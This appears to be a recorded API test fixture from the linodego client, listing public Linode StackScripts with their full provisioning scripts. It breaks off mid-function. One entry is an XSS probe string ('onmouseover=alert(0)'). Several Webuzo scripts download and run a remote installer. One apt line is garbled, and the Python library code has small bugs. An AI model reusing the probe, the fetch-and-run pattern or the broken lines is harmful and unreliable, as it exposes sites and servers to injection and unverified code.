X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/ExampleListStackscripts_page1.yaml000066400000000000000000012247001455402072200333470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/stackscripts?page=1 method: GET response: body: '{"data": [{"id": 623104, "username": "octane3333", "user_gravatar_id": "3e9341b887a3183cc653e488a37b83b8", "label": "onmouseover=alert(0)", "description": "onmouseover=alert(0)", "ordinal": 0, "logo_url": "", "images": ["linode/fedora29"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\nonmouseover=alert(0)", "user_defined_fields": []}, {"id": 6146, "username": "north5", "user_gravatar_id": "4719cf3a5ab3123f9ee536c796788b68", "label": "north5_ubuntu_basic", "description": "Basic lib of bash functions", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu12.04lts32bit", null, "linode/ubuntu12.1032bit", "linode/ubuntu12.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "short hostname recoord added to /etc/hosts", "script": "#!/bin/bash\n\n# \n# \n\n# Set software sources\nfunction set_sources_list() {\n echo \"Adjusting sources.list (destructively)\" >> $logfile\n CODENAME=$(lsb_release -sc)\n\n cat >/etc/apt/sources.list <> $logfile\n echo ${HOSTNAME} > /etc/hostname\n hostname -F /etc/hostname\n short=$(hostname -s)\n echo \"127.0.1.1 ${short} ${short}\" >> /etc/hosts\n}\n\n# Update software repositories and perform upgrade\nfunction system_upgrade() {\n echo \"Update system packages\" >> $logfile\n apt-get -y update\n apt-get -y upgrade\n}\n\n# Clean system packages\nfunction system_clean() {\n apt-get -y autoremove\n apt-get -y clean \n}\n\n# Install north5 common packages\nfunction north5_packages() {\n apt-get -y install build-essential\n apt-get -y install curl htop\n\n apt-get -y remove apparmor\n\n RELEASE=$(lsb_release -sr)\n\n # Ubuntu 12.04 already has these scripts integrated\n if [[ ${RELEASE} == \"10.04\" ]]; then\n apt-get -y install python-software-properties\n fi\n}\n\n# Default log file\nlogfile=${logfile:-\"/root/stackscript.log\"}", "user_defined_fields": []}, {"id": 9218, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "OpenBiz Cubi powered by Webuzo", "description": "Openbiz Cubi Platform is a fast application development platform designed for business applications. It is built on top of the excellent Openbiz framework. It provides easy and intelligent development tools and implements almost all commonly used components, developers just need to work on their core business logic development. Openbiz Cubi makes application development so quick. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure OpenBiz Cubi and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "OpenBiz Cubi powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install OpenBiz Cubi and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About OpenBiz Cubi :\n# Openbiz Cubi Platform is a fast application development platform designed for business applications.\n# It is built on top of the excellent Openbiz framework. It provides easy and intelligent development \n# tools and implements almost all commonly used components, developers just need to work on their core\n# business logic development. Openbiz Cubi makes application development so quick. \n###########################################################################################################\n\n# Install OpenBiz Cubi Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=243&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling OpenBiz Cubi and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, OpenBiz Cubi has been successfully installed\"\necho \" \"\necho \"You can now configure OpenBiz Cubi and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 3, "username": "linode", "user_gravatar_id": "9d4d301385af69ceb7ad658aad09c142", "label": "StackScript Python Library", "description": "Does nothing on its own. Do not deploy directly.\r\n\r\nA collection of useful Python functions to be included in other StackScripts.", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/centos7", "linode/debian7", "linode/debian8", "linode/fedora22"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import.", "script": "#!/usr/bin/env python\n\n\"\"\"\nPython Library StackScript\n\n\tAuthor: Ricardo N Feliciano \n\tVersion: 1.0.0.0\n\tRequirements:\n\t\t- n/a\n\nThis StackScript is not meant to be directly deployed. Includes a host of\nfunctions to do very common task on a distro, as implemented in Python. The\nfunctions in this library are designed to be run accross the Linode Core\nDistributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\n\nimport crypt\nimport fcntl\nimport logging\nimport os\nimport platform\nimport pwd\nimport socket\nimport subprocess\nimport sys\nimport time\ntry:\n\timport apt\nexcept:\n\ttry:\n\t\timport yum\n\texcept:\n\t\ttry:\n\t\t\timport dnf\n\t\texcept ImportError:\n\t\t\tprint(\"Package manager support was not found.\")\n\t\t\t\n\ndistro = None\n\"\"\"String list: Contains details of the distribution.\"\"\"\n\n\ndef end():\n\t\"\"\"End the StackScript cleanly.\"\"\"\n\t\n\t# Should the StackScripts themselves be removed here at some point?\n\tlogging.info(\"The StackScript has been completed.\")\n\tsubprocess.check_output(''echo \"The StackScript has completed. Press enter to continue.\" | wall -n'', shell=True)\n\n\ndef init():\n\t\"\"\"Start features we consider StackScript standard.\"\"\"\n\t\n\t# Sanity check for CentOS 7 & Fedora 22\n\tif os.path.exists(\"/var/log/stackscript.log\"):\n\t\tsys.exit(1) # StackScript already started once, bail\n\t\n\twith open(\"/etc/profile.d/stackscript.sh\", \"w\") as f:\n\t\tf.write(\"\"\"#!/bin/bash\nif pgrep -f \"python /root/StackScript\" &>/dev/null\nthen\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### Warning: Your StackScript is still running\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### Please do not make any system changes until it \"\n\techo \"##### completes. Log file is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\nelse\n\techo \"####################################################################\"\n\techo \"#####\"\n\techo \"##### The StackScript has completed. Enjoy your system.\"\n\techo \"#####\"\n\techo \"#####\"\n\techo \"##### For reference, the logfile is located at: \"\n\techo \"##### /var/log/stackscript.log\"\n\techo \"####################################################################\"\n\techo \" \"\n\trm /etc/profile.d/stackscript.sh\nfi\"\"\")\n\t\n\tlogging_start()\n\n\ndef logging_start(the_file=\"/var/log/stackscript.log\", the_level=logging.INFO):\n\t\"\"\"Turn on logging.\"\"\"\n\t\n\tlogging.basicConfig(filename=the_file, level=the_level)\n\tlogging.info(\"Logging has started. \" + str(time.time()))\n\n\ndef system_detect_distro():\n\t\"\"\"Prepares distro information.\n\t\n\tThis is critical to support the Linode Core Distributions with a single\n\tscript.\n\t\"\"\"\n\tglobal distro\n\n\t# add support for logging\n\t\n\tdistro = dict(zip((''distname'', ''version'', ''codename''),\n\tplatform.linux_distribution(full_distribution_name=0)))\n\t\n\tdistro[''distname''] = distro[''distname''].lower()\n\n\tif distro[''distname''] in (''debian'', ''ubuntu''):\n\t\tdistro[''family''] = \"debian\"\n\telif distro[''distname''] in (''fedora'', ''centos''):\n\t\tdistro[''family''] = \"redhat\"\n\telse:\n\t\traise NotImplementedError(\"This distribution is not supported.\")\n\n\ndef system_IP_get():\n\t\"\"\"Return IPv4 address configured on eth0.\n\t\n\tThis basically is a disgusting hack. Please let me know if you find a\n\tcleaner way to do this.\"\"\"\n\t# add support for logging\n\n\ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\treturn socket.inet_ntoa(fcntl.ioctl(\n\t\ts.fileno(),\n\t\t0x8915, # SIOCGIFADDR\n\t\tstruct.pack(''256s'', \"eth0\")\n\t)[20:24])\n\n\ndef system_IP_rdns(IP):\n\t\"\"\"Get PTR for given IP address.\"\"\"\n\t# add support for logging\n\n\treturn socket.gethostbyaddr(IP)[0]\n\n\ndef system_package_install(package, update_first=True):\n\t\"\"\"Install a package with the appropriate package manager.\"\"\"\n\t# add support for logging\n\n\tif distro is None:\n\t\tsystem_detect_distro()\n\n\tsystem_update() if update_first else None\n\t\n\tif distro[''family''] == \"debian\":\n\t\tos.environ[''DEBIAN_FRONTEND''] = \"noninteractive\"\n\t\tcache = apt.Cache()\n\t\tpkg = cache[package]\n\t\tpkg.mark_install()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.install(name=package)\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\tdnfb.read_all_repos()\n\t\tdnfb.fill_sack()\n\t\tdnfb.install(package)\n\t\tdnfb.resolve()\n\t\tdnfb.download_packages(dnfb.transaction.install_set)\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef system_update():\n\t\"\"\"Uses the distro''s package manager to update packages.\"\"\"\n\t#add support for logging\n\t\n\tif distro is None:\n\t\tsystem_detect_distro()\n\t\n\tif distro[''family''] == \"debian\":\n\t\tcache = apt.Cache()\n\t\tcache.update()\n\t\tcache.open(None)\n\t\tcache.upgrade()\n\t\tcache.commit()\n\telif distro[''distname''] == \"centos\":\n\t\tyb = yum.YumBase()\n\t\tyb.conf.assumeyes = True\n\t\tyb.update()\n\t\tyb.resolveDeps()\n\t\tyb.processTransaction()\n\t\tyb.close()\n\telif distro[''distname''] == \"fedora\":\n\t\tdnfb = dnf.Base()\n\t\tdnfb.conf.assumeyes = True\n\t\t#dnfb.read_all_repos() #updates were failing with this line\n\t\tdnfb.fill_sack()\n\t\tdnfb.upgrade_all()\n\t\tdnfb.resolve()\n\t\tdnfb.do_transaction()\n\t\tdnfb.close()\n\n\ndef user_add(username, password, groups):\n\t\"\"\"Creates a Linux user account.\n\t\n\tArgs:\n\t\tusername (String): A Linux username.\n\t\tpassword (String): Password for the user.\n\t\tgroups (tuple): Groups that the user should be added to.\n\t\n\tReturns:\n\t\tbool: True if successful, False otherwise.\n\t\"\"\"\n\n\t# need to implement logging\n\t# need to implement group functionality\n\n\treturn subprocess.call([''useradd'', ''-m'', ''-p'', crypt.crypt(password, \"22\"), ''-s'', ''/bin/bash'', username])\n\n\ndef user_add_pubkey(username, key):\n\t\"\"\"Adds the public SSH key to the specified user.\"\"\"\n\t# need to implement logging\n\t\n\tif username != \"root\":\n\t\tos.seteuid(pwd.getpwnam(username).pw_uid)\n\t\tos.setegid(pwd.getpwnam(username).pw_gid)\n\t\n\tpubkey_dir = os.path.join(os.getenv(\"HOME\"), \".ssh\")\n\t\n\tif not os.path.isdir(pubkey_dir):\n\t\tos.makedirs(pubkey_dir)\n\t\n\twith open(os.path.join(pubkey_dir, \"authorized_keys\")) as f:\n\t\tf.write(key)\n\t\n\tif username != \"root\":\n\t\tos.seteuid(0)\n\t\tos.setegid(0)", "user_defined_fields": []}, {"id": 9219, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "PRADO powered by Webuzo", "description": "PRADO is a component-based and event-driven programming framework for developing Web applications in PHP 5.\r\nPRADO stands for PHP Rapid Application Development Object-oriented.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure PRADO and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "PRADO powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install PRADO and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About PRADO :\n# PRADO is a component-based and event-driven programming framework for developing Web \n# applications in PHP 5. PRADO stands for PHP Rapid Application Development Object-oriented.\n###########################################################################################################\n\n# Install PRADO Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=221&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling PRADO and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, PRADO has been successfully installed\"\necho \" \"\necho \"You can now configure PRADO and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9220, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "BIGACE powered by Webuzo", "description": "BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\r\n\r\nIts powerful backend puts you in full control of the layout and content of your pages. And when you need more, you can choose from many Plugins and Themes to extend it.\r\n\r\nBigace is designed to provide you with all the features you need from a CMS while having complete freedom to customize it the way you want. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure BIGACE and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "BIGACE powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install BIGACE and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About BIGACE :\n# BIGACE is a free and professional grade software package that allows you to set up your own website within minutes.\n# Its powerful backend puts you in full control of the layout and content of your pages.\n# And when you need more, you can choose from many Plugins and Themes to extend it.\n###########################################################################################################\n\n# Install BIGACE Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=400&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling BIGACE and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, BIGACE has been successfully installed\"\necho \" \"\necho \"You can now configure BIGACE and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 84996, "username": "tkelso", "user_gravatar_id": "a94e5434345409282c17b253f3d2a72d", "label": "Library_Bash", "description": "Bash Library for StackScripts\r\n** FUNCTIONS ONLY **", "ordinal": 0, "logo_url": "", "images": ["linode/centos7", "linode/debian8", "linode/ubuntu16.04lts"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "v0.5.0", "script": "#!/bin/bash\n\n# Complete Bash Library\n# v0.5.0\n\n# Supported Distributions\n#########################\n# Debian 8\n# Ubuntu 16.04\n# Ubuntu 12.04\n# CentOS 7\n#########################\n\n# Notes\n#########################\n# Add function_restart_services\n# Add goodstuff\n# Deeper fail2ban configuration\n# Percentage based service tuning\n# Incorperate deprecated functions into new distros\n#########################\n\n# System Ubuntu\n###############\n\nfunction ubuntu1604_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/ubuntu/$1/g\" /etc/hosts\n}\n\nfunction ubuntu1604_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction ubuntu1604_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction ubuntu1604_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Users Ubuntu and Authentication\n#################################\n\nfunction ubuntu1604_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction ubuntu1604_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction ubuntu1604_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction ubuntu1604_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System Debian 8\n#################\n\nfunction debian8_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname Not Defined.\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/debian/$1/g\" /etc/hosts\n}\n\nfunction debian8_update {\n\t# Configures Apt, disables interactive prompt, updates repositories and upgrades system packages.\n\n\t# Forces Apt to use IPv4\n\techo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n\t# Disables interactive prompts\n\texport DEBIAN_FRONTEND=noninteractive\n\t# Updates Repositories and Upgrades Packages\n\tapt-get update && apt-get upgrade -y\n}\n\nfunction debian8_install_additional {\n\t# Install additional system packages\n\t\n\tapt-get install -y fail2ban vim screen\n}\n\nfunction debian8_restart_lamp {\n\tsystemctl restart apache2\n\tsystemctl restart mysql\n}\n\n# Debian 8 Users and Authentication\n###################################\n\nfunction debian8_user_add_sudo {\n # Installs sudo, creates non-root user and adds the user to the sudo group\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No username and/or password entered.\"\n return 1;\n fi\n \n apt-get -y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction debian8_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ];\tthen\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction debian8_ssh_disable_root {\n\t# Disables Root SSH Access and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart ssh \n}\n\nfunction debian8_secure_apache {\n\t# Updates /etc/apache2/conf-available/security.conf with restrictive settings\n\n\tsed -i -e ''s/\\#ServerSignature\\ Off/ServerSignature\\ Off/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerSignature\\ On/\\#ServerSignature\\ On/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/\\#ServerTokens\\ Minimal/ServerTokens\\ Minimal/g'' /etc/apache2/conf-available/security.conf\n\tsed -i -e ''s/ServerTokens\\ OS/\\#ServerTokens\\ OS/g'' /etc/apache2/conf-available/security.conf\n}\n\n# System CentOS 7\n#################\n\nfunction centos7_set_hostname {\n\t# Sets hostname and updates /etc/hosts file\n\n\tHOSTNAME=\"$1\" \n if [ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return 1;\n fi\n \n hostnamectl set-hostname $1\n sed -i \"s/localhost/$1/g\" /etc/hosts\n}\n\nfunction centos7_update {\n\t# Full system update\n\n\tyum update -y\n}\n\nfunction centos7_install_epel-release {\n\tyum install epel-release -y\n}\n\nfunction centos7_system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction centos7_get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if [ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction centos7_get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction centos7_install_additional {\n\t# Installs additional system packages and enabled Mariadb to start on boot.\n\n\tyum install -y fail2ban vim screen\n\tsystemctl enable mariadb\n}\n\nfunction centos7_restart_lamp {\n\tsystemctl restart httpd\n\tsystemctl restart mariadb\n}\n\n# Users CentOS 7\n################\n\nfunction centos7_user_add_sudo {\n\t# Installs Sudo, adds non-root user and adds non-root user to wheel group.\n\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new username and/or password entered\"\n return 1;\n fi\n \n yum install -y sudo\n adduser $USERNAME\n echo \"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG wheel $USERNAME\n}\n\nfunction centos7_key_user {\n\t# Adds public SSH key to non-root user\n\n\tUSERNAME=\"$1\"\n KEY=\"$2\"\n if [ ! -n \"$USERNAME\" ] || [ ! -n \"$KEY\" ]; then\n echo \"No username and/or public key entered.\"\n return 1;\n fi\n\n\tmkdir /home/$1/.ssh\n\techo $2 > /home/$1/.ssh/authorized_keys\n\tchown -R $1:$1 /home/$1/*\n\tchown -R $1:$1 /home/$1/.*\n}\n\nfunction centos7_ssh_disable_root {\n\t# Disables root SSH login and restarts SSH\n\n sed -i -e ''s/PermitRootLogin\\ yes/PermitRootLogin\\ no/g'' /etc/ssh/sshd_config\n systemctl restart sshd \n}\n\n# MySQL\n#######\n\nfunction ubuntu1604_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction debian8_install_mysql {\n\techo \"mysql-server mysql-server/root_password password $1\" | debconf-set-selections\n\techo \"mysql-server mysql-server/root_password_again password $1\" | debconf-set-selections\n\tapt-get install -y mysql-server\n\tsystemctl enable mysql\n}\n\nfunction centos7_install_mysql {\n\tyum install mariadb-server -y\n\tsystemctl enable mariadb\n}\n\nfunction mysql_create_database {\n\t# Creates MySQL Database with user-determined name\n\t\n\tDBPASS=\"$1\"\n\tDBNAME=\"$2\"\n\tif [ ! -n \"$DBPASS\" ] || [ ! -n \"$DBNAME\" ]; then\n\t\techo \"No Database Name and/or MySQL Password entered.\"\n\t\treturn 1;\n\tfi\n\n\techo \"CREATE DATABASE $2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n\t# Creates non-root MySQL\n\n\tDBPASS=\"$1\"\n\tUSER=\"$2\"\n\tUSERPASS=\"$3\"\n\tif [ ! -n \"$DBPASS\" ] || 